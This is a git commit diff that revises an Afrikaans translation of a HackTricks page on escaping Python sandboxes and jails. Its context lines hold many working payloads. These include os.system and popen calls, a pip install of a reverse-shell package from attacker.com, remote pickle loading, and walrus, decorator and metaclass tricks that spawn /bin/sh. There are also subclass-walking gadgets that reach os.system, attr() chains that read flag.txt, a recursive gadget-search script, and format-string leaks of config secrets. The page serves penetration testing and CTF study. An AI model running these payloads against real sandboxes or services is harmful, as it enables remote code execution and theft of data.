Translated ['', 'src/generic-methodologies-and-resources/python/bypass-p

2025-10-10 18:36:50 +00:00 · 2025-08-28 12:46:55 +00:00 · 2025-08-28 12:46:55 +00:00 · 1410029fc6
commit 1410029fc6
parent 7e03d9eb00
6 changed files with 439 additions and 444 deletions
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -2,11 +2,11 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Hier is 'n paar truuks om Python sandboxes te omseil en willekeurige opdragte uit te voer.
+Hier is 'n paar truuks om python sandbox protections te omseil en arbitrary commands uit te voer.

 ## Command Execution Libraries

-Die eerste ding wat jy moet weet, is of jy direk kode kan uitvoer met 'n reeds geïmporteerde library, of of jy enige van hierdie libraries kan importeer:
+Die eerste ding wat jy moet weet is of jy direk code kan uitvoer met 'n reeds geïmporteerde library, of of jy enige van hierdie libraries kan importeer:
 ```python
 os.system("ls")
 os.popen("ls").read()
@ -39,20 +39,20 @@ open('/var/www/html/input', 'w').write('123')
 execfile('/usr/lib/python2.7/os.py')
 system('ls')
 ```
-Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om **read files** binne die python sandbox en om **write some code** wat jy kan **execute** om die sandbox te **bypass**.
+Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om **lêers te lees** binne die python sandbox en om **kode te skryf** wat jy kan **uitvoer** om die sandbox te **bypass**.

 > [!CAUTION] > **Python2 input()** funksie laat toe om python code uit te voer voordat die program crash.

-Python probeer eers **load libraries from the current directory first** (die volgende opdrag sal druk waar python modules vanaf gelaai word): `python3 -c 'import sys; print(sys.path)'`
+Python probeer eers **biblioteke uit die huidige gids te laai** (die volgende opdrag sal druk waar python modules vandaan gelaai word): `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

-## Bypass pickle sandbox with the default installed python packages
+## Bypass pickle sandbox met die standaard geïnstalleerde python packages

 ### Standaard packages

-Jy kan 'n **list of pre-installed** packages hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
-Let wel dat jy vanuit 'n pickle die python env kan laat **import arbitrary libraries** wat in die stelsel geïnstalleer is.\
+Jy kan 'n **lys van vooraf geïnstalleerde** packages hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
+Let wel dat jy vanaf 'n pickle die python env kan laat **import arbitrary libraries** wat in die stelsel geïnstalleer is.\
 Byvoorbeeld, die volgende pickle, wanneer gelaai, gaan die pip library import om dit te gebruik:
 ```python
 #Note that here we are importing the pip library so the pickle is created correctly
@ -66,30 +66,30 @@ return (pip.main,(["list"],))

 print(base64.b64encode(pickle.dumps(P(), protocol=0)))
 ```
-Vir meer inligting oor hoe pickle werk sien dit: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
+Vir meer inligting oor hoe pickle werk, sien hierdie: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)

 ### Pip-pakket

 Truuk gedeel deur **@isHaacK**

-As jy toegang het tot `pip` of `pip.main()` kan jy 'n willekeurige pakket installeer en 'n reverse shell verkry deur aan te roep:
+As jy toegang tot `pip` of `pip.main()` het, kan jy 'n arbitrêre pakket installeer en 'n reverse shell kry deur die volgende aan te roep:
 ```bash
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 ```
-Jy kan die pakket hier aflaai om die reverse shell te skep. Let asseblief daarop dat jy dit voor gebruik moet **dekomprimeer, die `setup.py` verander, en jou IP vir die reverse shell ingee**:
+Jy kan die pakket om die reverse shell te skep hier aflaai. Neem asseblief kennis dat jy dit voor gebruik moet **dekomprimeer, die `setup.py` verander, en jou IP vir die reverse shell invoer**:

 {{#file}}
 Reverse.tar (1).gz
 {{#endfile}}

 > [!TIP]
-> Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal vervaardig sodat wanneer jy die reverse shell verlaat die res van die installasie sal misluk, sodat jy **geen ekstra python pakket op die bediener agterlaat nie** wanneer jy weggaan.
+> Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal saamgestel sodat wanneer jy die reverse shell verlaat die res van die installasie sal misluk, sodat jy **nie enige ekstra python package op die server sal agterlaat** wanneer jy vertrek.

-## Eval-ing python code
+## Eval van python code

 > [!WARNING]
-> Let wel dat exec multiline strings en ";" toelaat, maar eval nie (kyk walrus operator)
+> Let wel dat `exec` multiline strings en ";", toelaat, maar `eval` nie (check walrus operator)

 As sekere karakters verbode is, kan jy die **hex/octal/B64** voorstelling gebruik om die beperking te **bypass**:
 ```python
@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
 # Like:
 df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
 ```
-Sien ook 'n real-world sandboxed evaluator escape in PDF generators:
+Sien ook 'n regte wêreld sandboxed evaluator escape in PDF generators:

- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dit misbruik rl_safe_eval om by function.__globals__ en os.system te kom vanaf geëvalueerde attributes (byvoorbeeld, font color) en gee 'n geldige waarde terug om die rendering stabiel te hou.
+- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dit misbruik rl_safe_eval om toegang te kry tot function.__globals__ en os.system van ge-evalueerde attributte (byvoorbeeld, letterkleur) en gee 'n geldige waarde terug om die rendering stabiel te hou.

 {{#ref}}
 reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 {{#endref}}

-## Operators en kort truuks
+## Operateurs en kort truuks
 ```python
 # walrus operator allows generating variable inside a list
 ## everything will be executed in order
@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
 ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
 ```
-## Om beskerming deur koderinge (UTF-7) te omseil
+## Om beskermings te omseil deur koderinge (UTF-7)

-In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 word gebruik om arbitrêre python-kode te laai en uit te voer binne 'n skynbare sandbox:
+In [**hierdie writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) word UFT-7 gebruik om willekeurige python-kode te laai en uit te voer binne 'n skynbare sandbox:
 ```python
 assert b"+AAo-".decode("utf_7") == "\n"

@ -156,11 +156,11 @@ return x
 #+AAo-print(open("/flag.txt").read())
 """.lstrip()
 ```
-Dit is ook moontlik om dit te omseil deur ander enkoderinge te gebruik, bv. `raw_unicode_escape` en `unicode_escape`.
+Dit is ook moontlik om dit te omseil deur ander kodings te gebruik, bv. `raw_unicode_escape` en `unicode_escape`.

-## Python-uitvoering sonder calls
+## Python-uitvoering sonder oproepe

-As jy binne 'n python jail is wat jou **nie toelaat om calls te maak** nie, is daar steeds 'n paar maniere om **execute arbitrary functions, code** en **commands** uit te voer.
+As jy binne 'n python jail is wat **jou nie toelaat om oproepe te maak** nie, is daar steeds 'n paar maniere om **ewekansige funksies, code** en **opdragte** uit te voer.

 ### RCE met [decorators](https://docs.python.org/3/glossary.html#term-decorator)
 ```python
@ -184,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
 class _:pass
 ```
-### RCE creating objects and overloading
+### RCE skep objects en overloading

-As jy **declare a class** en **create an object** van daardie klas, kan jy **write/overwrite different methods** wat **triggered** kan word **without** **needing to call them directly**.
+As jy 'n **class** kan **declare** en 'n **object** van daardie class kan **create**, kan jy **write/overwrite verskillende methods** wat **triggered** kan word **sonder** dat jy hulle direk hoef te call.

-#### RCE with custom classes
+#### RCE met custom classes

-Jy kan sommige **class methods** aanpas (_by overwriting existing class methods or creating a new class_) om hulle te laat **execute arbitrary code** wanneer dit **triggered** word sonder om hulle direk aan te roep.
+Jy kan sommige **class methods** wysig (_deur bestaande class methods oor te skryf of 'n nuwe class te create_) om hulle te laat **execute arbitrary code** wanneer hulle **triggered** word sonder om hulle direk aan te roep.
 ```python
 # This class has 3 different ways to trigger RCE without directly calling any function
 class RCE:
@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
 ```
 #### Objekte skep met [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)

-Die kern van wat metaclasses ons toelaat om te doen, is om **make an instance of a class, without calling the constructor** direk te kan doen deur 'n nuwe class te skep wat die target class as metaclass gebruik.
+Die belangrike ding wat metaclasses ons toelaat om te doen, is **om 'n instansie van 'n klas te skep, sonder om die konstruktor direk aan te roep**, deur 'n nuwe klas te skep met die teikenklas as 'n metaclass.
 ```python
 # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 # This will define the members of the "subclass"
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']

 ## You can also use the tricks from the previous section to get RCE with this object
 ```
-#### Skep objekte met exceptions
+#### Skep van objects met exceptions

-Wanneer 'n **exception** geaktiveer word, word 'n objek van die **Exception** **geskep** sonder dat jy die constructor direk hoef te roep (n truuk van [**@_nag0mez**](https://mobile.twitter.com/_nag0mez)):
+Wanneer 'n **exception** geaktiveer word, word 'n object van die **Exception** **geskep** sonder dat jy die constructor direk hoef aan te roep (’n truuk van [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
 ```python
 class RCE(Exception):
 def __init__(self):
@ -301,7 +301,7 @@ __iadd__ = eval
 __builtins__.__import__ = X
 {}[1337]
 ```
-### Lees lêer met builtins help & lisensie
+### Lees lêer met builtins hulp & lisensie
 ```python
 __builtins__.__dict__["license"]._Printer__filenames=["flag"]
 a = __builtins__.help
@ -310,23 +310,22 @@ a.__class__.__exit__ = lambda self, *args: None
 with (a as b):
 pass
 ```
-## Builtins
+## Ingeboude funksies

 - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)

-As jy toegang tot die **`__builtins__`**-objek het, kan jy libraries importeer (let daarop dat jy hier ook ander stringvoorstellings kan gebruik wat in die laaste afdeling getoon word):
+As jy toegang tot die **`__builtins__`** objek het, kan jy biblioteke importeer (let wel dat jy hier ook ander string-voorstellings kan gebruik soos in die laaste afdeling getoon):
 ```python
 __builtins__.__import__("os").system("ls")
 __builtins__.__dict__['__import__']("os").system("ls")
 ```
-### No Builtins
+### Geen Builtins

-Wanneer jy nie `__builtins__` het nie, gaan jy niks kan importeer nie en nie eers lêers kan lees of skryf nie, aangesien **al die globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is**.\
+Wanneer jy nie `__builtins__` het nie, sal jy niks kan importeer nie en selfs nie lêers kan lees of skryf nie aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is**.\
+Maar, **standaard importeer python baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle bevat ook binne-in **gevaarlike** funksionaliteite wat aangespreek kan word om selfs **arbitrary code execution** te verkry.

-Nietemin, **standaard importeer python baie modules in geheue**. Hierdie modules mag onskuldig lyk, maar sommige van hulle laai **ook gevaarlike** funksionaliteite in hulself wat benut kan word om selfs **arbitrary code execution** te verkry.
-
-In die volgende voorbeelde kan jy sien hoe om sommige van hierdie "**onskuldige**" modules wat gelaai is te **misbruik** om **toegang** tot **gevaarlike** **funksionaliteite** binne hulle te kry.
+In die volgende voorbeelde kan jy sien hoe om sommige van hierdie "onskuldige" modules wat gelaai is te **misbruik** om **toegang** tot **gevaarlike** **funksionaliteite** daarin te kry.

 **Python2**
 ```python
@ -368,7 +367,7 @@ get_flag.__globals__['__builtins__']
 # Get builtins from loaded classes
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
 ```
-[**Below there is a bigger function**](#recursive-search-of-builtins-globals) om tientalle/**honderdtalle** van **plekke** te vind waar jy die **builtins** kan vind.
+[**Hieronder is 'n groter funksie**](#recursive-search-of-builtins-globals) om tientalle/**honderde** van **plekke** te vind waar jy die **builtins** kan vind.

 #### Python2 and Python3
 ```python
@ -384,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
 # There are lots of other payloads that can be abused to execute commands
 # See them below
 ```
-## Globals and locals
+## Globals en locals

-Om die **`globals`** en **`locals`** te kontroleer is 'n goeie manier om te weet waartoe jy toegang het.
+Om die **`globals`** en **`locals`** na te gaan is ’n goeie manier om te weet waartoe jy toegang het.
 ```python
 >>> globals()
 {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -410,15 +409,15 @@ class_obj.__init__.__globals__
 [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
 [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
 ```
-[**Hieronder is daar 'n groter funksie**](#recursive-search-of-builtins-globals) om tientalle/**honderde** van **plekke** waar jy die **globals** kan vind.
+[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.

-## Ontdek Arbitrêre Uitvoering
+## Ontdek Arbitrary Execution

-Hier wil ek verduidelik hoe om maklik **meer gevaarlike gelaaide funksionaliteite** te ontdek en meer betroubare exploits voor te stel.
+Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksionaliteite wat gelaai is** te ontdek en meer betroubare exploits voor te stel.

 #### Toegang tot subclasses met bypasses

-Een van die mees sensitiewe dele van hierdie tegniek is om **toegang te kry tot die base subclasses**. In die vorige voorbeelde is dit gedoen met `''.__class__.__base__.__subclasses__()` maar daar is **ander moontlike maniere**:
+Een van die sensitiefste dele van hierdie tegniek is die vermoë om **toegang tot die base subclasses** te kry. In die vorige voorbeelde is dit gedoen met `''.__class__.__base__.__subclasses__()` maar daar is **ander moontlike maniere**:
 ```python
 #You can access the base from mostly anywhere (in regular conditions)
 "".__class__.__base__.__subclasses__()
@ -446,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
 (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
 (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
 ```
-### Opsporing van gevaarlike biblioteke wat gelaai is
+### Vind gevaarlike biblioteke wat gelaai is

-Byvoorbeeld, as jy weet dat dit met die biblioteek **`sys`** moontlik is om **willekeurige biblioteke te importeer**, kan jy soek na al die **modules wat gelaai is en wat `sys` daarin geïmporteer het**:
+Byvoorbeeld, aangesien dit met die biblioteek **`sys`** moontlik is om **import arbitrary libraries**, kan jy soek na al die **modules loaded that have imported sys inside of them**:
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
 ```
-Daar is baie, en **ons het net een** nodig om opdragte uit te voer:
+Daar is baie, en **ons het net een nodig** om opdragte uit te voer:
 ```python
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
 ```
-Ons kan dieselfde doen met **ander biblioteke** waarvan ons weet dat hulle gebruik kan word om **opdragte uit te voer**:
+Ons kan dieselfde doen met **ander biblioteke** waarvan ons weet dat hulle gebruik kan word om **kommando's uit te voer**:
 ```python
 #os
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -492,7 +491,7 @@ Ons kan dieselfde doen met **ander biblioteke** waarvan ons weet dat hulle gebru
 #pdb
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
 ```
-Boonop kan ons selfs nagaan watter modules kwaadaardige libraries laai:
+Boonop kan ons selfs soek watter modules kwaadwillige biblioteke laai:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 for b in bad_libraries_names:
@ -511,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
 pdb:
 """
 ```
-Boonop, as jy dink **other libraries** dalk in staat is om **invoke functions to execute commands**, kan ons ook **filter by functions names** binne die moontlike libraries:
+Verder, as jy dink **ander biblioteke** dalk in staat is om **funksies aan te roep om opdragte uit te voer**, kan ons ook **filter op funksienaam** binne die moontlike biblioteke:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -544,10 +543,10 @@ execute:
 __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
 """
 ```
-## Rekursiewe Soektog na Builtins, Globals...
+## Rekursiewe soektog na Builtins, Globals...

 > [!WARNING]
-> Dit is net **fantasties**. As jy **op soek is na 'n objek soos globals, builtins, open of enigiets**, gebruik net hierdie script om **rekursief plekke te vind waar jy daardie objek kan vind.**
+> Dit is net **fantasties**. As jy **op soek is na 'n object soos globals, builtins, open of wat ook al** gebruik net hierdie script om **rekursief plekke te vind waar jy daardie object kan vind.**
 ```python
 import os, sys # Import these to find more gadgets

@ -663,7 +662,7 @@ print(SEARCH_FOR)
 if __name__ == "__main__":
 main()
 ```
-Jy kan die uitset van hierdie skrip op hierdie bladsy nagaan:
+You can check the output of this script on this page:


 {{#ref}}
@ -672,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-

 ## Python Format String

-As jy 'n **string** na python **stuur** wat gaan **geformateer** word, kan jy `{}` gebruik om **python interne inligting.** Jy kan die vorige voorbeelde gebruik om toegang tot globals of builtins te kry, byvoorbeeld.
+As jy 'n **string** na python **stuur** wat gaan **geformateer** word, kan jy `{}` gebruik om **python interne inligting.** te bereik. Jy kan die vorige voorbeelde gebruik om globals of builtins te bereik, byvoorbeeld.
 ```python
 # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
 CONFIG = {
@ -692,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Let op hoe jy **eienskappe** op die normale wyse met 'n **punt** kan benader soos `people_obj.__init__` en **dict element** met **hakies** sonder aanhalingstekens `__globals__[CONFIG]`
+Let op hoe jy **toegang tot eienskappe** op 'n normale manier met 'n **punt** kan kry soos `people_obj.__init__` en 'n **dict-element** met **vierkanthakies** sonder aanhalingstekens `__globals__[CONFIG]`

-Let ook op dat jy `.__dict__` kan gebruik om elemente van 'n objek te enumereer `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
+Let ook daarop dat jy `.__dict__` kan gebruik om elemente van 'n object op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

-Sommige ander interessante kenmerke van formateringsstrings is die moontlikheid om die **funksies** **`str`**, **`repr`** en **`ascii`** op die aangeduide objek **uit te voer** deur onderskeidelik **`!s`**, **`!r`**, **`!a`** by te voeg:
+Nog 'n paar interessante kenmerke van format strings is die moontlikheid om die **funksies** **`str`**, **`repr`** en **`ascii`** op die aangeduide object uit te voer deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
 ```
